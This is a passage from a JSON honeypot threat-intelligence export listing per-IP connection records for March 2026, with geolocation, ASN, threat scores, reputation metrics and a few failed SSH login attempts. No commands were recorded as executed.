      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 280,
        "days_active_30d": 30,
        "ports_targeted_30d": 77,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T08:33:48+00:00",
        "last_seen_30d": "2026-03-31T05:20:45.326000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 174,
        "Honeytrap": 82,
        "Cowrie": 10,
        "Mailoney": 6,
        "Adbhoney": 4,
        "Dionaea": 2,
        "ElasticPot": 1,
        "Miniprint": 1
      }
    },
    "91.224.92.191": {
      "attack_count": 8,
      "first_seen": "2026-03-09T10:04:40.553Z",
      "last_seen": "2026-03-11T10:07:13.820Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 209605,
      "as_org": "UAB Host Baltic",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T10:04:40.553000+00:00",
        "last_seen_30d": "2026-03-11T10:08:21.170000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "13.89.125.19": {
      "attack_count": 7,
      "first_seen": "2026-03-24T02:14:11.070Z",
      "last_seen": "2026-03-24T02:14:21.091Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 57.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 17.7,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 20,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-05T11:56:11.779000+00:00",
        "last_seen_30d": "2026-03-24T02:15:24.182000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 41,
        "Honeytrap": 10,
        "Cowrie": 7,
        "Mailoney": 1
      }
    },
    "128.199.225.7": {
      "attack_count": 6,
      "first_seen": "2026-03-10T15:09:34.172Z",
      "last_seen": "2026-03-31T08:05:17.890Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "rootsg",
        "test2"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 66.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.6,
        "persistence": 24.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 144,
        "days_active_30d": 29,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T20:08:29+00:00",
        "last_seen_30d": "2026-03-31T08:06:21.591000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 108,
        "Honeytrap": 30,
        "Cowrie": 6
      }
    },
    "199.45.155.72": {
      "attack_count": 6,
      "first_seen": "2026-03-16T16:38:31.780Z",
      "last_seen": "2026-03-16T16:39:06.892Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398722,
      "as_org": "Censys, Inc.",
      "threat_score": 77.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.3,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 28,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-03T12:13:34.826000+00:00",
        "last_seen_30d": "2026-03-30T13:45:13.427000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Honeytrap": 15,
        "Cowrie": 6,
        "Dionaea": 1
      }
    },
    "36.111.178.60": {
      "attack_count": 6,
      "first_seen": "2026-03-18T14:00:20.486Z",
      "last_seen": "2026-03-18T14:02:21.385Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58519,
      "as_org": "Cloud Computing Corporation",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T14:00:20.486000+00:00",
        "last_seen_30d": "2026-03-18T14:12:25.541000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "8.134.239.76": {
      "attack_count": 6,
      "first_seen": "2026-03-06T07:26:10.980Z",
      "last_seen": "2026-03-16T23:14:04.145Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 15.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T07:26:10.980000+00:00",
        "last_seen_30d": "2026-03-16T23:15:11.499000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "103.229.126.5": {
      "attack_count": 5,
      "first_seen": "2026-03-23T06:33:27.758Z",
      "last_seen": "2026-03-23T06:33:29.418Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 24544,
      "as_org": "Overcasts Limited",
      "threat_score": 16.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T06:10:42.699000+00:00",
        "last_seen_30d": "2026-03-23T06:59:06.088000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 5
      }
    },
    "192.253.248.93": {
      "attack_count": 5,
      "first_seen": "2026-03-05T21:30:51.361Z",
      "last_seen": "2026-03-05T21:30:53.811Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "2025kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 4.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:21:40.107000+00:00",
        "last_seen_30d": "2026-03-05T21:31:57.158000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "192.253.248.96": {
      "attack_count": 5,
      "first_seen": "2026-03-06T02:49:35.578Z",
      "last_seen": "2026-03-06T02:49:38.257Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "@123Kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T11:09:54.187000+00:00",
        "last_seen_30d": "2026-03-06T02:50:38.641000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 5,
        "Heralding": 1
      }
    },
    "23.129.64.146": {
      "attack_count": 5,
      "first_seen": "2026-03-17T10:58:46.193Z",
      "last_seen": "2026-03-17T10:58:51.793Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Itsemoemo2025@Washere2025"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396507,
      "as_org": "Emerald Onion",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T10:58:46.193000+00:00",
        "last_seen_30d": "2026-03-17T10:59:56.029000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "111.14.162.81": {
      "attack_count": 4,
      "first_seen": "2026-03-13T08:59:15.687Z",
      "last_seen": "2026-03-18T10:05:30.325Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Jinan",
      "asn": 24444,
      "as_org": "Shandong Mobile Communication Company Limited",
      "threat_score": 14.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T08:59:15.687000+00:00",
        "last_seen_30d": "2026-03-18T10:06:31.411000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "162.142.125.211": {
      "attack_count": 4,
      "first_seen": "2026-03-20T08:31:21.864Z",
      "last_seen": "2026-03-20T08:31:36.892Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 58.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.0,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 158,
        "days_active_30d": 22,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T08:52:35+00:00",
        "last_seen_30d": "2026-03-23T13:24:11.086000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 98,
        "Honeytrap": 40,
        "ElasticPot": 16,
        "Cowrie": 4
      }
    },
    "178.251.140.3": {
      "attack_count": 4,
      "first_seen": "2026-03-09T16:47:04.355Z",
      "last_seen": "2026-03-09T16:47:05.026Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 31363,
      "as_org": "JSC ER-Telecom Holding",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T16:47:04.355000+00:00",
        "last_seen_30d": "2026-03-09T16:48:11.477000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "185.180.141.13": {
      "attack_count": 4,
      "first_seen": "2026-03-21T01:27:31.116Z",
      "last_seen": "2026-03-21T01:27:52.186Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 80.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 18.9,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 78,
        "days_active_30d": 29,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T05:22:17+00:00",
        "last_seen_30d": "2026-03-30T10:47:21.296000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 46,
        "Honeytrap": 27,
        "Cowrie": 4,
        "H0neytr4p": 1
      }
    },
    "198.235.24.183": {
      "attack_count": 4,
      "first_seen": "2026-03-15T02:57:25.464Z",
      "last_seen": "2026-03-25T22:35:11.341Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 134,
        "days_active_30d": 30,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T13:41:50+00:00",
        "last_seen_30d": "2026-03-31T23:32:51.370000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 87,
        "Honeytrap": 41,
        "Cowrie": 4,
        "ConPot": 2
      }
    },
    "44.220.188.208": {
      "attack_count": 4,
      "first_seen": "2026-03-08T04:04:30.630Z",
      "last_seen": "2026-03-08T04:04:33.086Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T00:52:25.544000+00:00",
        "last_seen_30d": "2026-03-08T04:05:40.002000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Cowrie": 4
      }
    },
    "65.49.1.147": {
      "attack_count": 4,
      "first_seen": "2026-03-15T12:24:56.174Z",
      "last_seen": "2026-03-15T12:25:00.236Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 68.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.3,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 28,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T05:41:03.089000+00:00",
        "last_seen_30d": "2026-03-29T03:52:11.082000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 22,
        "Honeytrap": 8,
        "Cowrie": 4
      }
    },
    "66.132.186.202": {
      "attack_count": 4,
      "first_seen": "2026-03-26T21:32:09.216Z",
      "last_seen": "2026-03-26T21:32:25.811Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 40.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.1,
        "persistence": 6.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 8,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-24T12:08:10+00:00",
        "last_seen_30d": "2026-03-31T06:38:11.764000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "14.225.18.22": {
      "attack_count": 3,
      "first_seen": "2026-03-27T12:11:48.763Z",
      "last_seen": "2026-03-27T12:12:51.436Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135905,
      "as_org": "VIETNAM POSTS AND TELECOMMUNICATIONS GROUP",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T12:11:48.763000+00:00",
        "last_seen_30d": "2026-03-27T18:03:40.019000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3
      }
    },
    "185.196.8.233": {
      "attack_count": 3,
      "first_seen": "2026-03-23T15:34:22.897Z",
      "last_seen": "2026-03-23T15:35:41.884Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": null,
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T15:34:22.897000+00:00",
        "last_seen_30d": "2026-03-23T15:36:45.180000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "220.178.8.154": {
      "attack_count": 3,
      "first_seen": "2026-03-23T08:09:01.408Z",
      "last_seen": "2026-03-23T08:11:01.414Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T08:09:01.408000+00:00",
        "last_seen_30d": "2026-03-23T08:19:20.882000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 3
      }
    },
    "47.91.28.120": {
      "attack_count": 3,
      "first_seen": "2026-03-12T15:16:27.163Z",
      "last_seen": "2026-03-12T15:17:28.475Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T15:16:27.163000+00:00",
        "last_seen_30d": "2026-03-12T15:18:37.457000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "91.231.89.159": {
      "attack_count": 3,
      "first_seen": "2026-03-21T01:20:01.083Z",
      "last_seen": "2026-03-21T01:20:01.084Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 88.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 158,
        "days_active_30d": 29,
        "ports_targeted_30d": 59,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-02T10:49:19+00:00",
        "last_seen_30d": "2026-03-30T08:05:21.624000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 94,
        "Honeytrap": 59,
        "Cowrie": 3,
        "Dionaea": 1,
        "Mailoney": 1
      }
    },
    "1.213.214.233": {
      "attack_count": 2,
      "first_seen": "2026-03-24T07:51:52.834Z",
      "last_seen": "2026-03-24T07:52:23.488Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seongnam-si",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T07:51:52.834000+00:00",
        "last_seen_30d": "2026-03-24T07:53:24.157000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "101.71.37.16": {
      "attack_count": 2,
      "first_seen": "2026-03-10T20:19:39.959Z",
      "last_seen": "2026-03-10T20:19:53.028Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T20:19:39.959000+00:00",
        "last_seen_30d": "2026-03-10T20:20:59.261000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.141.215.22": {
      "attack_count": 2,
      "first_seen": "2026-03-22T03:44:18.224Z",
      "last_seen": "2026-03-22T03:44:36.784Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Brisbane",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T03:44:18.224000+00:00",
        "last_seen_30d": "2026-03-22T03:45:41.826000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.4.18.201": {
      "attack_count": 2,
      "first_seen": "2026-03-18T09:56:11.225Z",
      "last_seen": "2026-03-18T09:56:39.877Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Kwun Tong",
      "asn": 38819,
      "as_org": "HKCSL GPRS NETWORK",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
